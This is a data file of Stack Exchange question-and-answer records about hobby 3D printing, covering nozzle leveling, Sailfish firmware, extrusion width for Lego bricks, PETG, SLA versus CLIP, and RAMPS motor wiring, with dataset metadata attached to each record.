[], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.104402"}
{"id": "hf_71467cf8038e", "question": "<p>Common 3D printers (read \"cheap\") may be used to print masks for PCBs (printed-circuit boards) which use PTH (through-hole) components.</p>\n\n<p>But can they be used to print PCBs which use SMD components? I'd like to make boards at least for Arduino-like SMD chips.</p>\n", "question_body": "", "answer": "In theory, I imagine you can, but there are some practical considerations that might need some thought:\nIf you have a desktop printer with multiple extruders, you could probably print with both one\nconductive\nand one\nstructural\nfilament, and thereby build circuits in 3D.\nOne concern would be the low melting points of most 3D printed filaments, since one would have to limit the heat generated by the mounted components and connections so that the structure of the \"board\" would not be melted.\nMounting components to the board would also differ from a normal PCB, since you would have to connect the components with the conductive filament without melting the structure of the board. In other words, you probably would have to use conductive filament as \"solder\", and melt components into place.\nWhether you could use typical tools used for mounting SMD components with conductive filament as solder is beyond my knowledge.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.128427"}
{"id": "hf_a3e7cb29d183", "question": "<p>When designing parts that should either fit with external objects or other printed parts, what measures can one take to ensure that the dimensions of the final print are accurate and fit the other object?</p>\n\n<p>To my knowledge, you at least have two options to account for printer inaccuracy and shrinkage:</p>\n\n<ul>\n<li>Adjust the space around joints in your CAD model</li>\n<li>Adjust dimensional offsets in your slicer software</li>\n</ul>\n\n<p>Are there any good workflows one can use to design and print 3D-models accurately without resorting to trial and error?</p>\n", "question_body": "", "answer": "I think the best way to go about this would be to calibrate your printer and slicer as best you can.  One of my pet peeves is when people upload STLs that have been adjusted to fit their printer/material.  There are many suppliers of material that vary in quality as well as many materials and different printers that the tolerances shouldn't be built into the part because in the end it usually just makes it harder for others attempting to print the model.\nIf you aren't sharing models then all I can say is you are still better off to calibrate your printer and tune your slicer to your material.  You'll have more luck with models from other people and have an easier time designing your own.\nIf you still have trouble then modifying the model is probably the last option.  I don't know of any CAD programs that can work with problems 3D printers have so experience is going to be your only help.  I know in Inventor you can go around and Thicken/Offset individual surfaces of the model to compensate or if you had a percentage for your shrinkage you could get creative with formulas in the sketches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.159535"}
{"id": "hf_b014473213ed", "question": "<p>I upgraded to a dual Mk9 extruder, and quickly discovered how critical it is to get the ends of both nozzles exactly level with each other -- that is, equally distant from the build plate at all times. Otherwise the lower one will crash against the plastic just extruded by the higher one.</p>\n\n<p>So, what's a good procedure for getting the nozzles accurately level? About all I've figure out is to move the heads down close to Z=0, and then run X and Y back and forth and eyeball and adjust; then move even closer to Z=0 and repeat. Is there a better / more efficient way?</p>\n", "question_body": "", "answer": "Make sure that the\nbed is level\n. As the saying goes, a level bed is next to godliness or something like that. Pay extra attention to the direction the nozzles are offset by (if one nozzle is offset on the X-axis, pay extra attention to the bed leveling along the X-axis).\nThis can be done with just one nozzle and a business card or piece of paper\n.\nUse a\nbubble level\nto get the nozzles about right. Move your z-axis up a bit and put a bubble level against the nozzles. Adjust as necessary so it's exactly level. The nozzles should be level enough that the bubble stays in the middle.\nFine-tune it with a\nbusiness card\n. When you home the z- axis, you should be able to just fit a business card under both nozzles with a moderate amount of resistance. Don't force the card. If sliding the business card under produces a different amount of resistance for one nozzle than for another, adjust the nozzle a\ntiny\namount. You can also use an index card or playing card.\nOnce it passes the card test, try a test print. If it doesn't work, make sure your bed is level, your nozzle offset is correct in the slicing software, and try calibrating with an index card again. If the nozzles become way off, try the bubble level again.\nAs for physically adjusting the level, another answer suggests shims made from aluminum foil, which work well. Personally, my extruder was off-level by almost exactly 1mm, so a pair of washers worked nicely for that.\nHappy printing!\nLeveling with a bubble:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.183519"}
{"id": "hf_02f7b5d191c1", "question": "<p>I just received this printer and while it seems to talk to Makerbot Desktop software I'm not sure if I should be trying to update the firmware.</p>\n\n<p>The printer comes with firmware v7.2 and while Makerbot Desktop offers an upgrade to v7.5 I'm not sure if it's a good idea with this non-Makerbot branded printer.</p>\n\n<p>I've also seen information on upgrading this printer to Sailfish v7.5, is this the same thing as Makerbot firmware v7.5?</p>\n", "question_body": "", "answer": "The Monoprice Architect is is a bare-bones FlashForge Creator that has been re-badged for Monoprice. The Creator line is a very popular set of printers, so there is lots of good advice out there. The FlashForge Google Group is a good community to join:\nhttps://groups.google.com/forum/#!forum/flashforge\nThe entire FF Creator line, in turn, is cloned from the original Makerbot Replicator 1. So you can use Makerbot slicing profiles for the Replicator 1. Just keep in mind that Makerbot does not generally test new software revs with their older printers, and DEFINITELY does not test new software revs with competitor knock-offs. Sometimes they appear to break functionality for non-Makerbot machines on purpose. So recent versions of Makerbot Desktop may not \"play nice\" with your FlashForge.\nThe most recent \"known good\" free slicer you should use with this printer is Makerware 2.4.x. You can find links by searching the FF Google Group.\nOn that note, you may have received instructions to use ReplicatorG with your printer. But RepG is abandonware: development stopped years ago. It should only be used for firmware updates, not as a slicer. You should also only use the most recent version posted on the Sailfish page on Thingiverse:\nhttp://www.thingiverse.com/thing:32084\nUsing older versions of RepG with newer firmware revs will corrupt your EEPROM! Only use the version downloaded from the link above.\nThe firmware that comes with the printer is FlashForge's slightly-customized build of either Sailfish or Makerbot's Replicator 1/2/2x firmware. But here's the trick: Makerbot's Rep1/2/2x firmware is just an old, out-of-date, slightly customized version of Sailfish. Makerbot stopped keeping up with bug-fixes and feature additions a long time ago.\nEverything is Sailfish:\njust different versions. You should use the most recent official release version listed at:\nhttp://www.sailfishfirmware.com/\nFollow the instructions in the Sailfish manual from the link above, and RepG will automatically pull the right builds from the official mirror and populate a list of printer options to choose. The trick here is which build to download. As of 1-21-16, there is not an official Monoprice Architect build yet. Which would mean editing a machine xml profile to avoid the firmware throwing warnings. I STRONGLY recommend getting used to the printer using factory firmware before trying to fight with custom machine profiles... But here is the basic process to pick a Sailfish firmware build when you're ready:\nFirst: which Atmega processor version do you have? The large chip in the middle of the control board will either say 1280 or 2560. You need to know which version you have. Bad things happen if you load the wrong version.\nSecond: What is the tooth count on the X and Y drivetrain pulleys? To my knowledge, FF always uses 17-tooth pulleys, which matches the Replicator 1 and FF Creator profiles. The Rep2 and 2x use 18t pulleys, so only use those builds if you have those pulleys. People often mess this up and their prints end up with dimensions ~5% off in X and Y.\nThird: The Architect has one extruder and no heatbed, so firmware builds that expect those to be connected (Rep 1 Dual, Creator, etc) will throw errors if loaded. You can fix this from the LCD screen or RepG, but that's a whole separate question. Do some printing and learn about the printer before attempting any firmware update so you'll know what to do if you pick a build with the wrong parts.\nFourth: This one is just for the sake of completeness. Some FF models were shipped with off-spec heatbeds that require special firmware builds to prevent drawing too much current and overheating / overloading the power supply. The Architect doesn't have that, but firmware builds for those printer models (eg I believe the FF Creator 2560) will under-power regular heatbeds. This is just something you need to know with the Architect if you decide to install a heatbed later. But it's a really critical safety warning for people with those off-spec heatbeds.\nIf this all seems complicated, that's because FlashForge (and in turn Monoprice) relies heavily on the open source Sailfish project to maintain the software ecosystem behind this line of printers. FlashForge has some internal builds that they use for flashing new bots, but these are not kept particularly up-to-date. Nor does FlashForge release the source files, so it's quite opaque where exactly the stock firmware differs from mainstream Sailfish. In the long run, you should install mainline Sailfish. But it's ok to stick with the factory firmware until you get used to the printer.\nTo summarize: Because there is not an existing Sailfish build, you're going to need to do some investigating and some experimenting to figure out which build will work. Don't try that until you're familiar with the printer. Post on the FlashForge Google Group when you're ready for help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.207664"}
{"id": "hf_801fa248e7b4", "question": "<p>I found a story about someone <a href=\"http://www.fablabamersfoort.nl/en/node/534\">3D-printing equipment for their Lego minifig</a>, using an Ultimaker. (Article is in Dutch, but accompanied by photographs).</p>\n\n<p>I noticed that what they made weren't the actual connecting bricks, but the tools used by the minifig. And that even so, some filing and a dremel were needed afterwards to make them fit properly.</p>\n\n<p>I'm told that to make something connect properly with real Lego, the machine needs to be tuned very precisely.  </p>\n\n<p>So, what resolution is needed to print bricks that will connect with normal Lego bricks?</p>\n", "question_body": "", "answer": "It's really more about calibration than resolution -- a poorly calibrated printer will have dimension errors that prevent mating with true LEGO bricks or other printed bricks.\nAlso, \"resolution\" is an incredibly loaded term for 3d printers, because it can mean a lot of different things. But we don't need to get into that right now. There are really two big things to worry about: layer height and extrusion width.\nLayer heights of 0.1mm or 0.2mm should be fine. Coarser layers may run into surface finish issues that make the bricks difficult to put together or take apart. There probably isn't much reason to go finer than 0.1mm for this application. Almost all FFF printers can do 0.1mm layer heights as long as it is reasonably well-tuned.\nAny typical household FFF printer with a \"normal\" nozzle size can print fine enough for the bricks to work. It just needs to be tuned well.\nThe smallest \"must have\" feature in a standard lego brick is the 1.6mm thick wall around the sides. The typical minimum printable feature size for an FFF printer is 2x the extrusion width, because the slicer will place a path on the inside edge of the shape and the outside edge of the shape. (Some slicers will allow single-extrusion features, but this is not generally recommended because it makes weak parts.)\nSo, how wide is the extrusion width? It's adjustable, and different slicers auto-recommend different values, but as a safe rule of thumb it needs to be between 1x and 2x your nozzle size. There are some volume calculation quirks in different slicers that may encourage larger or smaller sizes, so sometimes people recommend [extrusion width = nozzle size + layer height] particularly with Slic3r. This is very system-specific.\nAssuming you have the most common stock nozzle with a 0.4mm orifice, and also set the extrusion width to 0.4mm, the slicer should put four strands in the walls of the LEGO brick. That's good.\nWhere it gets tricky is if you have an extrusion width that does not evenly divide into 1.6mm. Say you are printing with an extrusion width of 0.6mm. There is enough room in the wall of the part to place two full 0.6mm perimeter strands... but then a gap 0.4mm wide will be left in the center. You can't put another 0.6mm strand into that 0.4mm gap. Different slicers handle this different ways. Some will leave an empty space between the walls, and you get a very weak print. Some will mash an excessive amount of plastic into the gap, causing poor print quality as excess material builds up more and more on each layer. Some will push a smaller-than-commanded strand to try to properly fill the volume.\nSo, the general advice with small features is to make sure your extrusion width goes into the part's minimum thickness a reasonable number of times.\n[Feature size / extrusion width < 2] is BAD\n[Feature size / extrusion width = 2] is GOOD\n[2 < Feature size / extrusion width < 3] is BAD\n[Feature size / extrusion width > 3] is GOOD\nAlthough these will vary somewhat by slicer -- older slicers like Skeinforge tend to have more issues with this than newer slicers. What you should do in practice is check your slicer's print previewer to see whether it is leaving a gap between the strands. Then adjust extrusion width and perimeter/shell count to try to get an intelligent output. There's some trial and error involved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.256275"}
{"id": "hf_f2f1d22955a1", "question": "<p>I was just shopping for filament, and saw some glowing claims about PETG being as easy to work with as PLA, but as strong as ABS, and less brittle. Anyone know if that's actually true, or what the tradeoffs are?</p>\n", "question_body": "", "answer": "PETG is great stuff to work with. It is stronger than ABS also. It prints slower than ABS and PLA. The formulas vary quite a bit from vendor to vendor. I have used 3 brands, and each of their properties vary.\nFrom my experience you do have to be careful with moisture. You'll be able to tell you have moisture in your filament if you start hearing a slight hissing and popping and an increased number of structural zits on the object. Moisture will also increase the problem listed in Mark's post below regarding the accumulation of filament on the nozzle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.280639"}
{"id": "hf_473e45a08cd1", "question": "<p><a href=\"https://en.wikipedia.org/wiki/Stereolithography\">Stereolithography</a> produces parts by projecting ultraviolet light on the top of a vat of liquid photopolymer, causing it to harden.  <a href=\"https://en.wikipedia.org/wiki/Continuous_Liquid_Interface_Production\">CLIP</a> produces parts by projecting ultraviolet light through the bottom of a vat of liquid photopolymer, causing it to harden.  This seems like a minor difference, yet CLIP is reportedly much faster (I've seen numbers as high as 100x).  Why is this?</p>\n", "question_body": "", "answer": "It's important to understand what specifically is being compared.\nCLIP is much faster than bottom-up technologies that require a peel step between every layer.\nFor example, the Form1 galvo SLA printer tilts the resin vat to separate the transparent bottom from the print. That is, by far, the slowest part of SLA/DLP printing with most modern light sources. Where the speed comes in is that without a peel, a continuous \"movie\" can be used to cure the resin rather than a series of alternating images and peels.\nTop-down printers can print dramatically faster than bottom-up-and-peel printers. CLIP is not necessarily faster than top-down. For example, the Gizmo 3D line of top-down printers are very similar in print speed to CLIP. (\nhttp://www.gizmo3dprinters.com.au/\n)\nMost \"consumer\" SLA printers these days use bottom-up-and-peel techniques, because this has some practical advantages over top-down printers:\nWay less resin is required to fill the printer when the part is pulled out as it builds rather than being lowered into the tank (along with the Z stage) as it builds. Resin is expensive. This also means bottom up printers can be smaller and have fewer mechanical parts such as leveling devices submerged in resin.\nStandard resins contain an inhibitor chemical that prevents polymerization in the presence of oxygen, which causes the surface layer exposed to air (and low-level stray light) to not cure. So top-down printers must shoot light through a non-curing layer before reaching curable resin. This makes the tuning more sensitive and can somewhat reduce detail compared to a bottom-up printer curing right on the window.\nReplacement vats or windows for bottom-up printers may be seen by manufacturers as a profit-generating consumable, since they have to be replaced somewhat frequently.\nTop-down printers have to worry somewhat more about resin flow rates as the part is lowered. Air bubbles may be pulled into the resin or the fresh resin layer above the part may vary significantly in thickness if the part is submerged too fast for the resin viscosity. (Admittedly, bottom-up printers will experience excessive suction forces and potentially break off bits of the print at high peel speeds.)\nCLIP is a bottom-up technique that doesn't require a peel step, because the vat creates an oxygen layer over the window that keeps the resin from curing directly on the surface and sticking. In that way, it arguably performs more like a top-down printer than a bottom-up printer.\nTop-down printers that are designed to overcome the above issues and use high-intensity light sources can achieve exceptionally high print speeds. This includes similar \"continuous\" build techniques used as in CLIP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.304427"}
{"id": "hf_046d855dcd38", "question": "<p><a href=\"https://e3d-online.com/blogs/news/are-abrasives-killing-your-nozzle\" rel=\"nofollow noreferrer\">E3D-Online</a> and <a href=\"http://makezine.com/2015/09/11/carbon-fiber-filament-ruins-nozzles/\" rel=\"nofollow noreferrer\">Make Magazine</a> have written about the potential damage printing carbon fiber and glow in the dark filaments can do to your printer's nozzle.</p>\n<p>What I can't seem to find is what clues or warning signs to be on the look out for if your nozzle has taken a significant amount of wear. I've printed a few hundred grams of glow filament personally and have not noticed any change in print quality.</p>\n<p>E3D says you may have &quot;unpredictable erratic printing&quot; with a worn nozzle. Can anyone explain or provide examples of what this actually means and when a replacement is necessary?</p>\n", "question_body": "", "answer": "I believe the little experiment made by E3D - the same link you provide - answers your question very well. Several points about wear can be found in this article. After printing only 250 grams of ColorFabb XT-CF20 (carbon fiber filament):\nThe nozzle diameter had increased markedly\nThe inner walls of the orifice (opening) showed deep sharp ridges and grooves\nThe tip of the nozzle had become critically rounded, and shortened\nAll of these symptoms were found repeatedly for standard brass nozzles.\nIn particular, I believe the last of these symptoms may be the one most easily identifiable without accurate measuring equipment (and without observing print quality).\nWith regards to reduction in print quality, these symptoms could be simulated by:\nSetting the nozzle diameter too big in your slicer\nLeveling your bed too high (the rounded tip will also reduce the length of the tip)\nPrinting with a partial clog that interruptus normal filament flow (due to the grooves and ridges)\nExactly what this will look like on your printed part is hard to predict, but I would assume you could see blobs, under-extrusion, poor layer adhesion, as well as an irregular surface finish of your top layers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.341359"}
{"id": "hf_b63805d27504", "question": "<p>I need to do some post processing of my 3D-printed models that includes adding some holes. For each of PLA, ABS, PETG and other 3D-printing materials:</p>\n\n<p>In what ways is drilling a hole in a model made from that material like or unlike drilling wood? Is it worth getting special \"plastic drilling bits\" that cost tons of money or can I use regular high speed drill bits? Do these plastics have grain that they will split on when drilled into, and if so, what are ways to avoid such splitting? Are higher speeds better, or lower speeds, or should I only use a finger-twirled bit holder?</p>\n\n<p>Are some 3D-printing materials easier to drill than others?</p>\n\n<p>What other methods also work for creating a hole in the different types of plastics?</p>\n", "question_body": "", "answer": "I wouldn't recommend drilling a hole in a 3D printed part in a traditional sense like with wood. Instead, I would merely ream a 3D printed part.\nI've done this quite a bit where I'll print my holes at a slightly smaller than nominal size and use a standard carbide drill to ream the hole.\nThings to consider:\nPrinting the holes smaller than nominal will ensure your hole is not printed larger than nominal\nPrinting with a higher shell will ensure you can remove the material without exposing the infill\nNote that drilling directly into (or thru) an infill area of the part could lead to cracking of the part later, depending on the hole's functionality. In general, a printed hole (even if reamed) will be significantly stronger than one drilled through an infill area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.365892"}
{"id": "hf_c298e1d041f2", "question": "<p>On one of the nozzles on my printer, the filament comes out at a 45 degree angle.  It seems that this causes problems with adhesion to the bed and overall quality.</p>\n\n<ul>\n<li>What caused this problem? </li>\n<li>How do I fix it? </li>\n<li>How do I prevent it from\nhappening in the future?</li>\n</ul>\n", "question_body": "", "answer": "If you're extruding into the air, it's actually quite normal for the filament to come out in seemingly random directions. This shouldn't cause problems because the filament should always be getting squished onto the bed/layer underneath (or during bridging, getting stretched). The way the filament comes out in free air doesn't reflect how it behaves during printing.\nIf you are experiencing troubles then perhaps the nozzle is clogged with a small piece of debris (or, unlikely) the nozzle is actually damaged. There's little you can do to prevent that apart from using high quality filament and being careful not to damage the nozzle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.390170"}
{"id": "hf_31c946312989", "question": "<p>I\"m considering making my own filament, with a device like the one at <a href=\"http://www.thingiverse.com/thing:380987\" rel=\"nofollow noreferrer\">http://www.thingiverse.com/thing:380987</a>. Partly because it's another machine to build, which is cool, but also to save money on filament.</p>\n\n<p>Has anyone here tried to make their own filament? My main questions are:</p>\n\n<ul>\n<li><p>Is the quality comparable to typical off-the-shelf filaments? Put another way, with reasonable tuning can one produce filament that's good enough to use without a lot of frustration?</p></li>\n<li><p>Does it require a lot of attention to tuning, monitoring, or other details (which make it less worthwhile / more time-consuming)? Warning of pitfalls to avoid is also welcome.</p></li>\n<li><p>Are there useful things one can do this way, that are hard to achieve with off-the-shelf filaments? For example, unusual materials; better control of diameter, density, etc; or mixing one's own colors?</p></li>\n</ul>\n", "question_body": "", "answer": "You can basically use any machine that pulverizes your pellets into small pieces.\nOne guy on 3dhubs, explained it in details.\nMy conclusion is that you can recycle everything using this data gathered from research up in link there.\nAlso, you can use any plastic material and pulverize it into pellets (even from the bottles) and you can try to do this process. Only thing that matters is quality of product.\nI was thinking about pellets from vinyl records. I bought one big collection before one year, and there was around 500-600 records that are completley useless. So, you can pulverize them and repeat the process, because process of making vinyl records and process of making bottles is completley different, and uses different kind of plastics.\nSo to draw a conslusion: everything depends on quality of pellets.\nAnd to answer on your three questions:\nIs the quality comparable to typical off-the-shelf filaments? Put\nanother way, with reasonable tuning can one produce filament that's\ngood enough to use without a lot of frustration?\nNo, it isn't Your filament would be lower quality if you don't get a great pellets.\nDoes it require a lot of attention to tuning, monitoring, or other\n  details (which make it less worthwhile / more time-consuming)? Warning\n  of pitfalls to avoid is also welcome.\nYes it does. Check the link up there.\nAre there useful things one can do this way, that are hard to achieve\n  with off-the-shelf filaments? For example, unusual materials; better\n  control of diameter, density, etc; or mixing one's own colors?\nAgain, it all depends on type of filament you like to use. I wrote about plastic filaments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.414987"}
{"id": "hf_828dcaa8cad7", "question": "<p>When installing and using a new hotend for the first time, which steps of action should be taken before. This will probably be more applicable to chinese clones than to authentic products (is the statement true?): <strong>Should a certain cleaning procedure be carried out</strong> (removing swarf/shavings for example)? <strong>Should mechanical precision be controlled and if necessary improved</strong> (de-edging and nozzle size are two things I could think of)?</p>\n\n<p>I know the topic <a href=\"https://3dprinting.stackexchange.com/questions/233/how-should-i-clean-my-extruder-when-changing-materials\">How should I clean my extruder when changing materials?</a>, which is a nice addon read, but I am concerned about brand-new extruders.</p>\n", "question_body": "", "answer": "I haven't done anything special to set up mine. But it's probably worth doing a general cleaning. I'd swab it off with alcohol, including running a q-tip or similar inside the fiber feed path. Then blow out the nozzle with compressed air to make sure it's clear.\nYou could measure the nozzle diameter by fitting fine drill bits in to see which is the largest one the passes through freely. Be sure to measure how much fiber your extruder\nreally\ntakes in when you ask it to extrude a certain length -- but that's about the extruder, not the hotend per se.\nFinally, I'd check the insulation, if any. I got a couple hot ends that had big gaps in/around the insulation. I've found that \"high-temperature gasket maker\" is great for improving insulation (depends, of course, on the shape and design of the specific hot end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.447282"}
{"id": "hf_c48344fe302e", "question": "<p>If I need to test out some of the components of a RAMPS 1.4 based 3D Printer, can I only plug some of them into the board (not all of them) and test them out?</p>\n\n<p>I'd like to test out the NEMA 17 motors without testing the heated bed or extruder.  Is this safe and why?</p>\n", "question_body": "", "answer": "Yes, you can. By leaving components unplugged you would simply have some pins powered that are not in use. But even with all your components plugged in, you would still have some unused, powered pins on your board, so I wouldn't think too hard about that. In some cases it might be needed to mount e.i. fans to cool your electronics while running, but for testing a few stepper motors, you will be just fine.\nExactly how you would address each individual motor depends on your setup, however. My best bet would be to simply rely on your \"default\" firmware (such as Marlin), and then run commands for testing through Pronterface/PrintRun or similar.\nAlternatively, you could upload your own sketch/firmware to the Arduino, and manipulate each stepper driver individually. This is a somewhat more advanced option, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.486117"}
{"id": "hf_e0cbc4d57d99", "question": "<p>This is in with <a href=\"https://3dprinting.stackexchange.com/questions/394/when-building-a-ramps-1-4-based-printer-can-i-safely-plugin-just-some-of-the-co\">my other question about components</a> and the <a href=\"https://3dprinting.stackexchange.com/questions/389/in-the-standard-pc-cable-wire-that-goes-from-the-wall-outlet-to-the-switching-po\">other question about electricity</a>; how can I check to see how many amps are being pulled?  Can I check a component at a time to make sure I'm not going over the limit, and then just add them all in together once I've summed the amps to make sure it's safe to hook everything up.  The amps shouldn't change right?  </p>\n\n<p>What settings should my multimeter be set to?  And to check how much it's pulling, do I just put the multimeter's leads on the green terminals on RAMPS 1.4?</p>\n", "question_body": "", "answer": "To measure amps (current), the meter has to be wired in series with the item to be measured (for this reason, ammeters are designed to have very low resistance).\nThis has the down-side that you have to disconnect the component to put the meter in line with it. That makes it hard to do the \"check a component at a time\" method you mentioned.\nAn ammeter measures\nactual\ncurrent flow, so you really can't test a component for it in isolation. Components can have wildly different \"current draw\" depending on the situation. For example, motor current varies with torque and speed; current through a resistor varies with the voltage across it; and so on.\nThere are special \"clamp-on\" current meters that just clamp around a conductor and report the current by using induction. Very nice if you have one.\nIf you just want the total current the entire RAMPS board is pulling, put the ammeter between the power supply and the RAMPS power input connection(s). Be\nvery\nsure not to have the meter set to read volts or ohms when you do this (it might or might not survive).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.517329"}
{"id": "hf_ca18722cc28a", "question": "<p>There is a little circuit board, or breadboard or something <a href=\"http://reprap.org/wiki/Prusa_i3_Rework_Electronics_and_wiring#Wiring\" rel=\"nofollow noreferrer\">in the diagram of the wiring for the i3</a>.</p>\n\n<p>And it's mentioned that the z-axis motors need to be <a href=\"http://reprap.org/wiki/Prusa_i3_Rework_Electronics_and_wiring#Motors_wiring\" rel=\"nofollow noreferrer\">wired in parallel</a> but beyond that they don't give you much detail about parts or how the wires go in.  </p>\n\n<p>Can someone provide me with some more detail on this?</p>\n", "question_body": "", "answer": "In the diagram, they do show the wires connecting together, which is right. You can accomplish that just about any way you like, so long as you pair up the wires correctly from one motor to the other.\nI'm assuming both \"Z\" motors are the same type and have the same color-coding for their wires. If not, you'll need to figure out the correspondences first (you may want to post another question if you need a hand with that, since it's pretty specific and generally useful).\nMany control boards have \"headers\" sticking up, with 4 bare pins for each motor. Connectors that plug right onto those are readily available, such as at\nhttps://www.sparkfun.com/products/10364\n.\nSome ways you can wire the motors in parallel:\nSome control boards, like my RAMPS 1.4, provide 2 sets of header pins next to the Z stepper driver board. In that case, just put a connector on each motor (if they're not there already), and plug them in next to each other.\nIf there's just one set of header pins (or one Z-motor socket of some other kind) on your controller, make a \"Y-cord\" by soldering the wires from one connector (that plugs to the controller) to\n2\n4 pin connectors, one to mate with each motor.\nOr you can skip the 2 extra connectors entirely, and just solder the motor wires to the wires from the connector: 2 reds to red, 2 blacks to black, or whatever.\nIf your controller just has empty holes, either solder in header pins and do as above (preferred, IMHO), or wire directly into the holes, splicing the 2 sets of motor wires if there's only one set of holes.\nMotor and connector wires are wildly inconsistent, so make sure you get them sorted out right if they aren't already. The first thing is to check continuity: find 2 pairs of wires, which are the ends of two separate coils. If your motors have more than 4 wires it's trickier.\nWith RAMPS (see handy diagram\nRAMPS 1.4 RepRap Arduino Mega Pololu shield\n),\nthe 4 pins are commonly labelled (starting from the one nearest the power-supply end of the RAMPS board):\n```\n```\n2B 2A 1A 1B\n```\n```\nIt means coil 1 and coil 2, each of which has ends A and B. I find this unclear because it could just as well have been numbers for the coils, and letters for the ends (if you wire it that way it won't work). So be sure you have continuity (maybe 15 ohms or so) between the wires you connect to 2B and 2A, and between the wires you connect to 1A and 1B.\nThe\nreally good thing\nabout this pin order is that if a motor is running backwards all you have to do is power off and then turn the plug around. That's one reason I think it's important to keep connectors in there, rather than soldering directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.542545"}
{"id": "hf_a87ce0e9d0ad", "question": "<p>I'm thinking about buliding my own 3D printer from scratch. </p>\n\n<p>Is it better to buy a starter DIY kit and try to build your printer around it, or to order separate parts for printer, and then to combine a printer?</p>\n", "question_body": "", "answer": "From a general point of view, there are a few things to consider.\nIf you buy a kit\n:\nPros:\nYou get some insurance that\nyou have all the parts that you need\nto get a functional printer - all the electronics, structure, bolts, nuts, screws, washers, wires and so on.\nMost likely, all the parts you get are made to\nfit together\n.\nYou will (usually) get a\nmanual\n, often a community that can help you out, and sometimes even technical support.\nSometimes, it can be\ncheaper\nthan buying each part separately (but it can also be more expensive)\nCons:\nYou have limited/no options to customize your printer to your own preferences without purchasing additional parts.\nSome kits can be difficult to upgrade later or may be locked to some configuration or software.\nMy opinion:\nThe way I look at it, the better option for\nyou\ndepends on how you want to spend your time. That is:\nIf you get a kit, you can spend more time building.\nIf you collect all the parts yourself, you will have to spend time planning, ordering parts (possibly multiple times) in addition to actually building the printer. A possible lack of manuals could also increase the building difficulty.\nIf you don't already own a 3D printer, I would recommend getting a kit, simply because struggling with trivial things like parts not fitting together can take away the fun for many people.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.567649"}
